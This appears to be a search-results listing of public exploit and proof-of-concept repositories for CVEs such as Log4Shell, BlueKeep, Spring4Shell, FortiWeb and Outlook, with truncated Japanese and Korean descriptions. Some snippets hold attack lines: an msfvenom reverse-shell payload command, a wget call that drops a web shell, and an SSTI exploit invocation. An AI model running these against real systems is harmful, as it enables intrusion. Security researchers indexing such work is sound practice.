324843 matches found
Log4J-RCE-Proof-Of-Concept
Log4J-RCE-Proof-Of-Concept CVE-2021-44228 これはlog4jのRCEの概念実証です。 CVE-2021-44228に関するリンクはこちら： https://www.lunasec.io/docs/blog/log4j-zero-day https://github.com/advisories/GHSA-jfh8-c2jp-5v3q https://github.com/apache/logging-log4j2/pull/608 https://www.youtube.com/watch?v=JPGola6BamU...
CVE-2009-3999
CVE-2009-3999 HP Power Manager 4.2 Build 7 익스플로잇 다음에서 영감을 받음: https://github.com/CountablyInfinite/HP-Power-Manager-Buffer-Overflow-Python3 1단계 msfvenom -p windows/shellreversetcp LHOST=YOUR-KALI-LINUX-IP LPORT=80 EXITFUNC=thread -b '\x00\x1a\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5'...
CVE-2019-2107
CVE-2019-2107 CVE-2019-2107 CVE-2019-2107 - 見た目は怖い。StagefrightやPNGのバグ脆弱性をまだ覚えていますか.... CVE-2019-2107では、デコーダ/コーデックがmediacodecユーザーで動作し、適切に「細工された」動画（タイル有効 - pspps-i1tilesenabledflag）により、RCEが可能になる可能性があります。影響を受けるコーデックはHVEC（別名H.265およびMPEG-H Part 2）です。exploit rce android stagefright cve 詳細情報 LineageOS...
JSShell
JSShell 2.0 대화형 다중 사용자 웹 기반 자바스크립트 쉘입니다. 처음에는 실험 및 연구 중에 원격의 난해한 브라우저를 디버깅하기 위해 만들어졌습니다. 이 도구는 XSSCross Site Scripting 페이로드에 쉽게 연결하여 브라우저 원격 코드 실행BeeF 프레임워크와 유사을 달성할 수 있습니다. 버전 2.0은 완전히 처음부터 새로 만들어졌으며, 새롭고 흥미로운 기능, 안정성 및 유지보수성을 제공합니다. 버전: 2.0 작성자 Daniel Abeles. 쉘 동영상 특징 다중 클라이언트 지원 순환 DOM 객체 지원 사...
react2shell
React2Shell React Server Components / Server Actions의 프로토타입 오염 취약점CVE-2025-55182 및 CVE-2025-66478을 악용하여 취약한 서버에서 원격 코드 실행RCE을 가능하게 하는 CLI 도구입니다. 원본 PoC : https://github.com/lachlan2k/React2Shell-CVE-2025-55182-original-poc 경고: 이 도구는 현재 야생에서 적극적으로 악용되고 있는 심각한 취약점CVSS 10.0을 대상으로 합니다. 소유한 시스템이나 명시적...
CVE-2025-54253-Exploit-Demo
🚨 CVE-2025-54253 – Adobe AEM Forms on JEE OGNL インジェクションによるリモートコード実行 🔎 概要 CVE-2025-54253 は、Adobe AEM Forms on JEE における重大なOGNLインジェクションの脆弱性です。この脆弱性により、認証されていない攻撃者が /adminui/debug?debug=OGNL: エンドポイントを介して任意のオペレーティングシステムコマンドを実行できます。 重要度: 緊急 CVSSスコア: 9.8 未確定 攻撃ベクトル: リモート 認証の必要性: 不要 影響を受ける製品: Adobe AEM...
CVE-2026-32238_RemoteCodeExecutionOpenEMR8.0.0
CVE-2026-32238 - OpenEMR 脆弱性 CWE-78 : OSコマンドに使用される特殊要素の不適切な無害化（'OS Command Injection'） 本製品は、上流コンポーネントから外部の影響を受ける入力を使ってOSコマンドの全部または一部を構築しますが、下流コンポーネントに送信する際に、意図されたOSコマンドを変更し得る特殊要素を無害化しない、または誤って無害化します。 概要 OpenEMR 8.0.0.1...
CVE-2019-3396_EXP
CVE-2019-3396EXP CVE-2019-3396 컨플루언스 SSTI RCE 1、cmd.vm 파일을 웹사이트에 업로드하세요 ftp 또는 https를 사용해야 하며, http는 작동하지 않습니다 2、RCEexp.py를 수정하고，filename = 'ftp://1.1.1.1/cmd.vm' 로 변경하세요 （python -m pyftpdlib -p 21） 3、python RECexp.py http://test.wikitest.cc:8080 "whoami" $ python RECexp.py...
CVE-2025-25257
목차 개요 취약점 세부 정보 개념 증명 PoC Trolled2 Trolled3 개요 CVE-2025-25257는 사전 인증 SQL 인젝션 취약점 으로, Fortinet FortiWeb Fabric Connector 버전 7.0부터 7.6.x까지 영향을 미칩니다. 이 결함을 통해 공격자는 취약한 API 엔드포인트에 악의적인 SQL 명령을 주입할 수 있으며, 잠재적으로 원격 코드 실행RCE으로 이어질 수 있습니다. 이 저장소는 SQL 인젝션 벡터를 안전하고 통제된 방식으로 설명하는 PoC 를 포함하고 있습니다. 오픈 소스로 제공되...
CVE-2025-25257
CVE-2025-25257 CVE‑2025‑25257 は、Fortinet FortiWeb の Fabric Connector コンポーネントに影響を及ぼす、認証前 SQL インジェクションの重大な脆弱性です。影響を受ける FortiWeb のバージョンは以下の通り: 7.6.0–7.6.3 7.4.0–7.4.7 7.2.0–7.2.10 ≤ 7.0.10 技術的詳細 この問題は、サニタイズされていないユーザー入力（Authorization: Bearer HTTP ヘッダー）を使用して SQL クエリを構築する getfabricuserbytoken...
https-github.com-xaitax-CVE-2024-21413-Microsoft-Outlook-Remote-Code-Execution-Vulnerability
CVE-2024-21413 | Microsoft Outlook リモートコード実行脆弱性 PoC 📜 説明 このスクリプトは、CVE-2024-21413 の概念実証（PoC）です。これは Microsoft Outlook で発見された深刻なセキュリティ脆弱性で、CVSS スコアは 9.8 です。MonikerLink バグと呼ばれるこの脆弱性は、ローカル NTLM 情報の漏洩やリモートコード実行の可能性など、広範囲にわたる影響を及ぼします。さらに、Office の Protected View をバイパスする攻撃ベクトルも明らかになっており、他の Office...
CVE-2023-2255
CVE-2023-2255 CVE-2023-2255 원격 코드 실행 및 외부 리소스 로드, 발견자: @Icare1337 https://nvd.nist.gov/vuln/detail/CVE-2023-2255 익스플로잇 현재 디렉토리에 웹쉘을 떨어뜨리는 예제입니다. python3 CVE-2023-2255.py --cmd 'wget https://raw.githubusercontent.com/elweth-sec/CVE-2023-2255/main/webshell.php' --output 'exploit.odt'...
mIRC-CVE-2019-6453
CVE-2019-6453: mIRC 7.55 における引数インジェクションによるRCE（カスタムURIプロトコルハンドラ経由） 解説記事へのリンク mIRCのirc:// URIプロトコルハンドラを通じて、リモートコード実行の脆弱性 を発見しました。mIRCは引数リストの終了を示す--などの記号を使用しないため、攻撃者は irc://リンクを通じてmIRCに引数を渡し、攻撃者が制御するSambaファイルサーバーからカスタム mirc.iniを読み込ませることで任意のコードを実行できます。ircs://も同様に機能することに注意してください。 PoC このPoCには、mirc.ini...
pinky
웹쉘을 업로드하는 것은 웹 취약점을 악용한 후 거의 항상 다음 단계이지만, Cloudflare와 같은 서비스와 새로운 세대의 방화벽은 공격자가 HTTP 또는 HTTPS를 통해 대상에서 명령을 실행하는 것을 매우 잘 막습니다. 반면에, 텍스트 콘텐츠 필터링 및 허용 목록 애플리케이션 정책은 최소한의 노력으로 쉽게 악용될 수 있으며, pinky는 그 PoC 입니다. pinky는 어떻게 다른가요? 첫째, pinky 는 시스템 명령을 실행할 수 있는 함수가 무엇인지 찾으려고 시도합니다; 가장 좋은 php 함수를 찾은 후에는 모든 통신...
CVE-2023-27532-RCE-Only
フォーク版 RCE Only フォークしたリポジトリから認証情報漏洩部分を削除し、コンパイルの修正を適用しました。 CVE-2023-27532 CVE-2023-27532を悪用して、平文の認証情報を漏洩させるか、リモートコマンド実行を行うためのProof of Conceptコードです。 概要 脆弱性とその悪用の詳細な分析については、Rapid7のAttackerKB Analysisをお読みください。 ビルド Visual...
CVE-2024-21413
CVE-2024-21413 - Expect 스크립트 POC Microsoft Outlook 자격 증명 유출 및 원격 코드 실행 취약점 미리보기 패널을 통해 CVE-2023-21716과 연계 시 CVSS:3.1 9.8 / 8.5 Outlook은 외부 링크를 열 때 위험에 대해 경고해야 하지만, 그렇지 않습니다! 사용법: ./cve-2024-21413.sh mx.fqdn 포트 발신자 수신자 url ./cve-2024-21413.sh mail.mydomain.com 25 [email protected]...
cve-2022-37298
CVE-2022-37298: Shinken 모니터링의 원격 코드 실행 RCE 영향받는 버전: 2.4.3 공개 링크: https://github.com/naparuba/shinken/commit/2dae40fd1e713aec9e1966a0ab7a580b9180cff2 CVE 링크: https://vulners.com/cve/CVE-2022-37298 설명 shinken/safepickle.py에 있는 SafeUnpickler 클래스는 합법적인 모니터링 노드에서 Shinken 서버로 전달되는 객체를 역직렬화할 때 약한 인증 체계사...
CVE-2019-0708-Msf--
CVE-2019-0708 認証不要の CVE-2019-0708 "BlueKeep" スキャナー PoC 作成者: @JaGoTu および @zerosum0x0. 技術的詳細: https://zerosum0x0.blogspot.com/2019/05/avoiding-dos-how-bluekeep-scanners-work.html Metasploit モジュール Metasploit モジュールは rapid7:master に取り込まれました。 msf5 use auxiliary/scanner/rdp/cve20190708bluekeep...
Spring4shell-CVE-2022-22965-POC
Spring4shell RCE 脆弱性 この脆弱性は Spring Core に影響し、攻撃者が特別に細工された HTTP リクエストを送信することで、ライブラリの HTTP リクエストパーサーの保護をバイパスし、リモートコード実行を引き起こす可能性があります。 詳細情報はこちら この脆弱性が悪用されるためには、いくつかの条件を満たす必要があります JDK 9 以降を使用している Apache Tomcat をサーブレットコンテナとして使用している 従来の WAR としてパッケージ化されている（Spring Boot 実行可能 jar とは対照的） spring-webmvc または...